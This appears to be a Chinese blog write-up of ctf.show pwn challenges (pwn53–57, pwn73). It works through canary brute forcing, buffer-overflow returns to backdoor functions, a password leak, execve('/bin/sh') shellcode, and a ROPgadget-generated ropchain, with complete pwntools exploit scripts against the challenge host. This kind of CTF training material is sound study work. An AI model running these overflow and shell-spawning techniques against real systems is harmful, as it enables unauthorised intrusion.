每日一Pwn 2025/1/16

pwn53

再多一眼看一眼就会爆炸

检查保护,32位程序只开了代码执行保护

image-20250116010534947

但是观察程序我们可以看见存在后门函数,并且在ctfshow函数中有一个模拟Canary的循环,与真实的Canary不同的时这里的Canary的值是静态的

image-20250116013359249

索引下标不大于32的时候,只要不输入换行符(ascii=10)就不会终止输入,通过分析我们可以知道输入的值与下一次read的长度有关,这里我们可以稍微设置大一些,因为read可以被换行符阻断。也就是说这里需要自定义一个下一次read的长度再以换行符结尾,sendline发送后会自带一个换行符,能够符合要求。

第二个read处通过自定义长度可以实现栈溢出,接着是一个模拟Canary检测。32位中Canary为4字节,我们可以一位一位字节(p8)的进行爆破,范围从0x00到0xFF,直到找到正确的Canary再进行栈溢出

这里需要注意的是payload的发送需要用send或者少填充一个数据,因为sendline发送后会自带一个换行符

from pwn import*
from pwn import p8,p16,p32,p64,u32,u64

canary=b''

for i in range(4):
    for CanaryBit in range(0xFF):
        io = remote("pwn.challenge.ctf.show",28244)
        payload = b'a'*(0x20) + canary + p8(CanaryBit)

        io.sendlineafter(b'>',b"99999")
        io.sendafter(b'$ ',payload)

        response = io.recvline()
        io.close()
        if b'Canary Value Incorrect!' in response:
            print(f'Canary = {canary} | {p8(CanaryBit)} is Wrong')
        else:
            print(f'Canary = {canary} | {p8(CanaryBit)} is Right')
            canary += p8(CanaryBit)
            break

print(f'Compelete! Canary = {canary}')

io = remote("pwn.challenge.ctf.show",28244)

binsh_add = 0x08048696
payload = b'a'*(0x20) + canary + b'a'*(0x10) + p32(binsh_add)

io.sendlineafter(b'>',b"99999")
io.sendafter(b'$ ',payload)

io.interactive()

得到Canary和Flag

image-20250116142907711


pwn54

再近一点靠近点快被融化

检查保护,32位只开了代码执行保护

image-20250116155017707

查看程序,存在后门函数,但是主函数中有条件能够进入

image-20250116155205795

大致流程为先通过fgets接收Username(fgets可被换行符隔断,意味着输入数据小于等于256)。接着用strchr搜索刚才传入v5的数据中是否存在换行符,如果有则替换为 NULL ,方便后面puts的阻断。接着将密码传入,我们可以注意到Username和password存储区域相连,也就是说我们可以传满Username来泄露出password。接着是对password的输入以及check,符合条件则进入后门函数。

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64    

io = remote("pwn.challenge.ctf.show",28293)
payload = b'a'*256
io.sendlineafter(b'Username:',payload)

io.recvuntil(b',')
password = io.recv()
print(f'password is {password.decode()}')
io.close()

io = remote("pwn.challenge.ctf.show",28293)
io.sendlineafter(b'Username:',b'666')
io.sendline(password)

io.interactive()

这里插入recv 后破坏了用户的交互功能将导致程序崩溃,所以需要开一个新的远程


pwn55

你是我的谁,我的我是你的谁

检查保护,32位只开了代码执行保护

image-20250116193325745

查看程序,ctfshow 函数内存在gets的栈溢出。存在后门函数flag,但是相关参数需要符合条件,去查找相关参数又发现定义其参数的函数。

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
# context.arch='amd64'
context.arch = 'i386'
# context.log_level = 'debug'

host='pwn.challenge.ctf.show'
port=28148
file_name='pwn'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    flag_add = 0x8048606
    flag1_add = 0x8048586
    flag2_add = 0x804859D
    payload = b'a'*(0x2C+4) + p32(flag1_add) + p32(flag2_add) + p32(flag_add) + p32(0xACACACAC) +p32(0xBDBDBDBD)

    io.sendlineafter(b'flag: ',payload)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()

pwn56

先了解一下简单的32位shellcode吧

32位直接给了 shell ,打开 ida 发现是利用系统调用在Linux系统上执行execve(“/bin/sh”,0,0),即打开一个新的shell进程。

push    68h ; 'h'
push    732F2F2Fh
push    6E69622Fh
mov     ebx, esp        ; file
xor     ecx, ecx        ; argv
xor     edx, edx        ; envp
push    0Bh
pop     eax
int     80h

pwn57

先了解一下简单的64位shellcode吧

64位直接给了 shell

push    rax
xor     rdx, rdx
xor     rsi, rsi
mov     rbx, 68732F2F6E69622Fh
push    rbx
push    rsp
pop     rdi
mov     al, 3Bh ; ';'
syscall

pwn73

愉快的尝试一下一把梭吧!

之前我们了解了如何通过ROPgadget获取溢出长度,ROPgadget还可以一把梭

ROPgadget ropchain

在静态连接程序中,利用ROPgadget生成现成的ropchain,可以直接实现getshell。ropchain的本质是执行syscall

ROPgadget --binary pwn --ropchain

只需要将padding填入,就能利用现成rop链进行getshell

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
# context.arch='amd64'
context.arch = 'i386'
# context.log_level = 'debug'

host='pwn.challenge.ctf.show'
port=28213
file_name='pwn'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
# local_libc = elf.libc.path
# libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1
    p = b'a'*(0x18+4)
    p += pack('<I', 0x0806f02a) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b81c6) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806f02a) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b81c6) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806f02a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08049303) # xor eax, eax ; ret
    p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de955) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806f02a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08049303) # xor eax, eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0807a86f) # inc eax ; ret
    p += pack('<I', 0x0806cc25) # int 0x80

    io.sendlineafter(b'Show-hand!!',p)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇